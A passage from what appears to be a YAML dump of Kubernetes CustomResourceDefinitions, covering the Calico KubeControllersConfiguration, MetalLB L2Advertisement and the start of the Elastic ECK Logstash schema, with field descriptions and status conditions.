perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"},"node":{"description":"Node enables and configures the node controller. Enabled by default, set to nil to disable.","properties":{"hostEndpoint":{"description":"HostEndpoint controls syncing nodes to host endpoints. Disabled by default, set to nil to disable.","properties":{"autoCreate":{"description":"AutoCreate enables automatic creation of host endpoints for every node. [Default: Disabled]","type":"string"},"createDefaultHostEndpoint":{"type":"string"},"templates":{"description":"Templates contains definition for creating AutoHostEndpoints","items":{"properties":{"generateName":{"description":"GenerateName is appended to the end of the generated AutoHostEndpoint name","type":"string"},"interfaceCIDRs":{"description":"InterfaceCIDRs contains a list of CIRDs used for matching nodeIPs to the AutoHostEndpoint","items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"description":"Labels adds the specified labels to the generated AutoHostEndpoint, labels from node with the same name will be overwritten by values from the template label","type":"object"},"nodeSelector":{"description":"NodeSelector allows the AutoHostEndpoint to be created only for specific nodes","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"leakGracePeriod":{"description":"LeakGracePeriod is the period used by the controller to determine if an IP address has been leaked.\nSet to 0 to disable IP garbage collection. [Default: 15m]","type":"string"},"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"},"syncLabels":{"description":"SyncLabels controls whether to copy Kubernetes node labels to Calico nodes. [Default: Enabled]","type":"string"}},"type":"object"},"policy":{"description":"Policy enables and configures the policy controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"},"serviceAccount":{"description":"ServiceAccount enables and configures the service account controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"},"workloadEndpoint":{"description":"WorkloadEndpoint enables and configures the workload endpoint controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"}},"type":"object"},"debugProfilePort":{"description":"DebugProfilePort configures the port to serve memory and cpu profiles on. If not specified, profiling\nis disabled.","format":"int32","type":"integer"},"etcdV3CompactionPeriod":{"description":"EtcdV3CompactionPeriod is the period between etcdv3 compaction requests. Set to 0 to disable. [Default: 10m]","type":"string"},"healthChecks":{"description":"HealthChecks enables or disables support for health checks [Default: Enabled]","type":"string"},"logSeverityScreen":{"description":"LogSeverityScreen is the log severity above which logs are sent to the stdout. [Default: Info]","type":"string"},"prometheusMetricsPort":{"description":"PrometheusMetricsPort is the TCP port that the Prometheus metrics server should bind to. Set to 0 to disable. [Default: 9094]","type":"integer"}},"required":["controllers"],"type":"object"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 3
    name: kubecontrollersconfigurations.crd.projectcalico.org
    resourceVersion: "6820694"
    uid: 8cf959a7-ebb7-4287-ab5d-e6592cef77a7
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: KubeControllersConfiguration
      listKind: KubeControllersConfigurationList
      plural: kubecontrollersconfigurations
      singular: kubecontrollersconfiguration
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: KubeControllersConfigurationSpec contains the values of
                the Kubernetes controllers configuration.
              properties:
                controllers:
                  description: Controllers enables and configures individual Kubernetes
                    controllers
                  properties:
                    loadBalancer:
                      description: LoadBalancer enables and configures the LoadBalancer
                        controller. Enabled by default, set to nil to disable.
                      properties:
                        assignIPs:
                          type: string
                      type: object
                    namespace:
                      description: Namespace enables and configures the namespace
                        controller. Enabled by default, set to nil to disable.
                      properties:
                        reconcilerPeriod:
                          description: 'ReconcilerPeriod is the period to perform
                            reconciliation with the Calico datastore. [Default: 5m]'
                          type: string
                      type: object
                    node:
                      description: Node enables and configures the node controller.
                        Enabled by default, set to nil to disable.
                      properties:
                        hostEndpoint:
                          description: HostEndpoint controls syncing nodes to host
                            endpoints. Disabled by default, set to nil to disable.
                          properties:
                            autoCreate:
                              description: 'AutoCreate enables automatic creation
                                of host endpoints for every node. [Default: Disabled]'
                              type: string
                            createDefaultHostEndpoint:
                              type: string
                            templates:
                              description: Templates contains definition for creating
                                AutoHostEndpoints
                              items:
                                properties:
                                  generateName:
                                    description: GenerateName is appended to the end
                                      of the generated AutoHostEndpoint name
                                    type: string
                                  interfaceCIDRs:
                                    description: InterfaceCIDRs contains a list of
                                      CIRDs used for matching nodeIPs to the AutoHostEndpoint
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    description: Labels adds the specified labels
                                      to the generated AutoHostEndpoint, labels from
                                      node with the same name will be overwritten
                                      by values from the template label
                                    type: object
                                  nodeSelector:
                                    description: NodeSelector allows the AutoHostEndpoint
                                      to be created only for specific nodes
                                    type: string
                                type: object
                              type: array
                          type: object
                        leakGracePeriod:
                          description: |-
                            LeakGracePeriod is the period used by the controller to determine if an IP address has been leaked.
                            Set to 0 to disable IP garbage collection. [Default: 15m]
                          type: string
                        reconcilerPeriod:
                          description: 'ReconcilerPeriod is the period to perform
                            reconciliation with the Calico datastore. [Default: 5m]'
                          type: string
                        syncLabels:
                          description: 'SyncLabels controls whether to copy Kubernetes
                            node labels to Calico nodes. [Default: Enabled]'
                          type: string
                      type: object
                    policy:
                      description: Policy enables and configures the policy controller.
                        Enabled by default, set to nil to disable.
                      properties:
                        reconcilerPeriod:
                          description: 'ReconcilerPeriod is the period to perform
                            reconciliation with the Calico datastore. [Default: 5m]'
                          type: string
                      type: object
                    serviceAccount:
                      description: ServiceAccount enables and configures the service
                        account controller. Enabled by default, set to nil to disable.
                      properties:
                        reconcilerPeriod:
                          description: 'ReconcilerPeriod is the period to perform
                            reconciliation with the Calico datastore. [Default: 5m]'
                          type: string
                      type: object
                    workloadEndpoint:
                      description: WorkloadEndpoint enables and configures the workload
                        endpoint controller. Enabled by default, set to nil to disable.
                      properties:
                        reconcilerPeriod:
                          description: 'ReconcilerPeriod is the period to perform
                            reconciliation with the Calico datastore. [Default: 5m]'
                          type: string
                      type: object
                  type: object
                debugProfilePort:
                  description: |-
                    DebugProfilePort configures the port to serve memory and cpu profiles on. If not specified, profiling
                    is disabled.
                  format: int32
                  type: integer
                etcdV3CompactionPeriod:
                  description: 'EtcdV3CompactionPeriod is the period between etcdv3
                    compaction requests. Set to 0 to disable. [Default: 10m]'
                  type: string
                healthChecks:
                  description: 'HealthChecks enables or disables support for health
                    checks [Default: Enabled]'
                  type: string
                logSeverityScreen:
                  description: 'LogSeverityScreen is the log severity above which
                    logs are sent to the stdout. [Default: Info]'
                  type: string
                prometheusMetricsPort:
                  description: 'PrometheusMetricsPort is the TCP port that the Prometheus
                    metrics server should bind to. Set to 0 to disable. [Default:
                    9094]'
                  type: integer
              required:
              - controllers
              type: object
            status:
              description: |-
                KubeControllersConfigurationStatus represents the status of the configuration. It's useful for admins to
                be able to see the actual config that was applied, which can be modified by environment variables on the
                kube-controllers process.
              properties:
                environmentVars:
                  additionalProperties:
                    type: string
                  description: |-
                    EnvironmentVars contains the environment variables on the kube-controllers that influenced
                    the RunningConfig.
                  type: object
                runningConfig:
                  description: |-
                    RunningConfig contains the effective config that is running in the kube-controllers pod, after
                    merging the API resource with any environment variables.
                  properties:
                    controllers:
                      description: Controllers enables and configures individual Kubernetes
                        controllers
                      properties:
                        loadBalancer:
                          description: LoadBalancer enables and configures the LoadBalancer
                            controller. Enabled by default, set to nil to disable.
                          properties:
                            assignIPs:
                              type: string
                          type: object
                        namespace:
                          description: Namespace enables and configures the namespace
                            controller. Enabled by default, set to nil to disable.
                          properties:
                            reconcilerPeriod:
                              description: 'ReconcilerPeriod is the period to perform
                                reconciliation with the Calico datastore. [Default:
                                5m]'
                              type: string
                          type: object
                        node:
                          description: Node enables and configures the node controller.
                            Enabled by default, set to nil to disable.
                          properties:
                            hostEndpoint:
                              description: HostEndpoint controls syncing nodes to
                                host endpoints. Disabled by default, set to nil to
                                disable.
                              properties:
                                autoCreate:
                                  description: 'AutoCreate enables automatic creation
                                    of host endpoints for every node. [Default: Disabled]'
                                  type: string
                                createDefaultHostEndpoint:
                                  type: string
                                templates:
                                  description: Templates contains definition for creating
                                    AutoHostEndpoints
                                  items:
                                    properties:
                                      generateName:
                                        description: GenerateName is appended to the
                                          end of the generated AutoHostEndpoint name
                                        type: string
                                      interfaceCIDRs:
                                        description: InterfaceCIDRs contains a list
                                          of CIRDs used for matching nodeIPs to the
                                          AutoHostEndpoint
                                        items:
                                          type: string
                                        type: array
                                      labels:
                                        additionalProperties:
                                          type: string
                                        description: Labels adds the specified labels
                                          to the generated AutoHostEndpoint, labels
                                          from node with the same name will be overwritten
                                          by values from the template label
                                        type: object
                                      nodeSelector:
                                        description: NodeSelector allows the AutoHostEndpoint
                                          to be created only for specific nodes
                                        type: string
                                    type: object
                                  type: array
                              type: object
                            leakGracePeriod:
                              description: |-
                                LeakGracePeriod is the period used by the controller to determine if an IP address has been leaked.
                                Set to 0 to disable IP garbage collection. [Default: 15m]
                              type: string
                            reconcilerPeriod:
                              description: 'ReconcilerPeriod is the period to perform
                                reconciliation with the Calico datastore. [Default:
                                5m]'
                              type: string
                            syncLabels:
                              description: 'SyncLabels controls whether to copy Kubernetes
                                node labels to Calico nodes. [Default: Enabled]'
                              type: string
                          type: object
                        policy:
                          description: Policy enables and configures the policy controller.
                            Enabled by default, set to nil to disable.
                          properties:
                            reconcilerPeriod:
                              description: 'ReconcilerPeriod is the period to perform
                                reconciliation with the Calico datastore. [Default:
                                5m]'
                              type: string
                          type: object
                        serviceAccount:
                          description: ServiceAccount enables and configures the service
                            account controller. Enabled by default, set to nil to
                            disable.
                          properties:
                            reconcilerPeriod:
                              description: 'ReconcilerPeriod is the period to perform
                                reconciliation with the Calico datastore. [Default:
                                5m]'
                              type: string
                          type: object
                        workloadEndpoint:
                          description: WorkloadEndpoint enables and configures the
                            workload endpoint controller. Enabled by default, set
                            to nil to disable.
                          properties:
                            reconcilerPeriod:
                              description: 'ReconcilerPeriod is the period to perform
                                reconciliation with the Calico datastore. [Default:
                                5m]'
                              type: string
                          type: object
                      type: object
                    debugProfilePort:
                      description: |-
                        DebugProfilePort configures the port to serve memory and cpu profiles on. If not specified, profiling
                        is disabled.
                      format: int32
                      type: integer
                    etcdV3CompactionPeriod:
                      description: 'EtcdV3CompactionPeriod is the period between etcdv3
                        compaction requests. Set to 0 to disable. [Default: 10m]'
                      type: string
                    healthChecks:
                      description: 'HealthChecks enables or disables support for health
                        checks [Default: Enabled]'
                      type: string
                    logSeverityScreen:
                      description: 'LogSeverityScreen is the log severity above which
                        logs are sent to the stdout. [Default: Info]'
                      type: string
                    prometheusMetricsPort:
                      description: 'PrometheusMetricsPort is the TCP port that the
                        Prometheus metrics server should bind to. Set to 0 to disable.
                        [Default: 9094]'
                      type: integer
                  required:
                  - controllers
                  type: object
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: KubeControllersConfiguration
      listKind: KubeControllersConfigurationList
      plural: kubecontrollersconfigurations
      singular: kubecontrollersconfiguration
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: l2advertisements.metallb.io
    resourceVersion: "57874"
    uid: 29de18f5-58f3-4c02-8437-5ec44a9054ce
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: L2Advertisement
      listKind: L2AdvertisementList
      plural: l2advertisements
      singular: l2advertisement
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.ipAddressPools
        name: IPAddressPools
        type: string
      - jsonPath: .spec.ipAddressPoolSelectors
        name: IPAddressPool Selectors
        type: string
      - jsonPath: .spec.interfaces
        name: Interfaces
        type: string
      - jsonPath: .spec.nodeSelectors
        name: Node Selectors
        priority: 10
        type: string
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: |-
            L2Advertisement allows to advertise the LoadBalancer IPs provided
            by the selected pools via L2.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: L2AdvertisementSpec defines the desired state of L2Advertisement.
              properties:
                interfaces:
                  description: |-
                    A list of interfaces to announce from. The LB IP will be announced only from these interfaces.
                    If the field is not set, we advertise from all the interfaces on the host.
                  items:
                    type: string
                  type: array
                ipAddressPoolSelectors:
                  description: |-
                    A selector for the IPAddressPools which would get advertised via this advertisement.
                    If no IPAddressPool is selected by this or by the list, the advertisement is applied to all the IPAddressPools.
                  items:
                    description: |-
                      A label selector is a label query over a set of resources. The result of matchLabels and
                      matchExpressions are ANDed. An empty label selector matches all objects. A null
                      label selector matches no objects.
                    properties:
                      matchExpressions:
                        description: matchExpressions is a list of label selector
                          requirements. The requirements are ANDed.
                        items:
                          description: |-
                            A label selector requirement is a selector that contains values, a key, and an operator that
                            relates the key and values.
                          properties:
                            key:
                              description: key is the label key that the selector
                                applies to.
                              type: string
                            operator:
                              description: |-
                                operator represents a key's relationship to a set of values.
                                Valid operators are In, NotIn, Exists and DoesNotExist.
                              type: string
                            values:
                              description: |-
                                values is an array of string values. If the operator is In or NotIn,
                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                the values array must be empty. This array is replaced during a strategic
                                merge patch.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                          required:
                          - key
                          - operator
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      matchLabels:
                        additionalProperties:
                          type: string
                        description: |-
                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                        type: object
                    type: object
                    x-kubernetes-map-type: atomic
                  type: array
                ipAddressPools:
                  description: The list of IPAddressPools to advertise via this advertisement,
                    selected by name.
                  items:
                    type: string
                  type: array
                nodeSelectors:
                  description: NodeSelectors allows to limit the nodes to announce
                    as next hops for the LoadBalancer IP. When empty, all the nodes
                    having  are announced as next hops.
                  items:
                    description: |-
                      A label selector is a label query over a set of resources. The result of matchLabels and
                      matchExpressions are ANDed. An empty label selector matches all objects. A null
                      label selector matches no objects.
                    properties:
                      matchExpressions:
                        description: matchExpressions is a list of label selector
                          requirements. The requirements are ANDed.
                        items:
                          description: |-
                            A label selector requirement is a selector that contains values, a key, and an operator that
                            relates the key and values.
                          properties:
                            key:
                              description: key is the label key that the selector
                                applies to.
                              type: string
                            operator:
                              description: |-
                                operator represents a key's relationship to a set of values.
                                Valid operators are In, NotIn, Exists and DoesNotExist.
                              type: string
                            values:
                              description: |-
                                values is an array of string values. If the operator is In or NotIn,
                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                the values array must be empty. This array is replaced during a strategic
                                merge patch.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                          required:
                          - key
                          - operator
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      matchLabels:
                        additionalProperties:
                          type: string
                        description: |-
                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                        type: object
                    type: object
                    x-kubernetes-map-type: atomic
                  type: array
              type: object
            status:
              description: L2AdvertisementStatus defines the observed state of L2Advertisement.
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: L2Advertisement
      listKind: L2AdvertisementList
      plural: l2advertisements
      singular: l2advertisement
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"logstashes.logstash.k8s.elastic.co"},"spec":{"group":"logstash.k8s.elastic.co","names":{"categories":["elastic"],"kind":"Logstash","listKind":"LogstashList","plural":"logstashes","shortNames":["ls"],"singular":"logstash"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"description":"Health","jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"available","type":"integer"},{"description":"Expected nodes","jsonPath":".status.expectedNodes","name":"expected","type":"integer"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"},{"description":"Logstash version","jsonPath":".status.version","name":"version","type":"string"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"Logstash is the Schema for the logstashes API","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"LogstashSpec defines the desired state of Logstash","properties":{"config":{"description":"Config holds the Logstash configuration. At most one of [`Config`, `ConfigRef`] can be specified.","type":"object","x-kubernetes-preserve-unknown-fields":true},"configRef":{"description":"ConfigRef contains a reference to an existing Kubernetes Secret holding the Logstash configuration.\nLogstash settings must be specified as yaml, under a single \"logstash.yml\" entry. At most one of [`Config`, `ConfigRef`]\ncan be specified.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"count":{"format":"int32","type":"integer"},"elasticsearchRefs":{"description":"ElasticsearchRefs are references to Elasticsearch clusters running in the same Kubernetes cluster.","items":{"description":"ElasticsearchCluster is a named reference to an Elasticsearch cluster which can be used in a Logstash pipeline.","properties":{"clusterName":{"description":"ClusterName is an alias for the cluster to be used to refer to the Elasticsearch cluster in Logstash\nconfiguration files, and will be used to identify \"named clusters\" in Logstash","minLength":1,"type":"string"},"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"},"image":{"description":"Image is the Logstash Docker image to deploy. Version and Type have to match the Logstash in the image.","type":"string"},"monitoring":{"description":"Monitoring enables you to collect and ship log and monitoring data of this Logstash.\nMetricbeat and Filebeat are deployed in the same Pod as sidecars and each one sends data to one or two different\nElasticsearch monitoring clusters running in the same Kubernetes cluster.","properties":{"logs":{"description":"Logs holds references to Elasticsearch clusters which receive log data from an associated resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"metrics":{"description":"Metrics holds references to Elasticsearch clusters which receive monitoring data from this resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"},"pipelines":{"description":"Pipelines holds the Logstash Pipelines. At most one of [`Pipelines`, `PipelinesRef`] can be specified.","items":{"type":"object"},"type":"array","x-kubernetes-preserve-unknown-fields":true},"pipelinesRef":{"description":"PipelinesRef contains a reference to an existing Kubernetes Secret holding the Logstash Pipelines.\nLogstash pipelines must be specified as yaml, under a single \"pipelines.yml\" entry. At most one of [`Pipelines`, `PipelinesRef`]\ncan be specified.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"podTemplate":{"description":"PodTemplate provides customisation options for the Logstash pods.","type":"object","x-kubernetes-preserve-unknown-fields":true},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying StatefulSet.","format":"int32","type":"integer"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes Secrets containing sensitive configuration options for the Logstash.\nSecrets data can be then referenced in the Logstash config using the Secret's keys or as specified in `Entries` field of\neach SecureSetting.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to Elasticsearch resource in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"services":{"description":"Services contains details of services that Logstash should expose - similar to the HTTP layer configuration for the\nrest of the stack, but also applicable for more use cases than the metrics API, as logstash may need to\nbe opened up for other services: Beats, TCP, UDP, etc, inputs.","items":{"properties":{"name":{"type":"string"},"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses 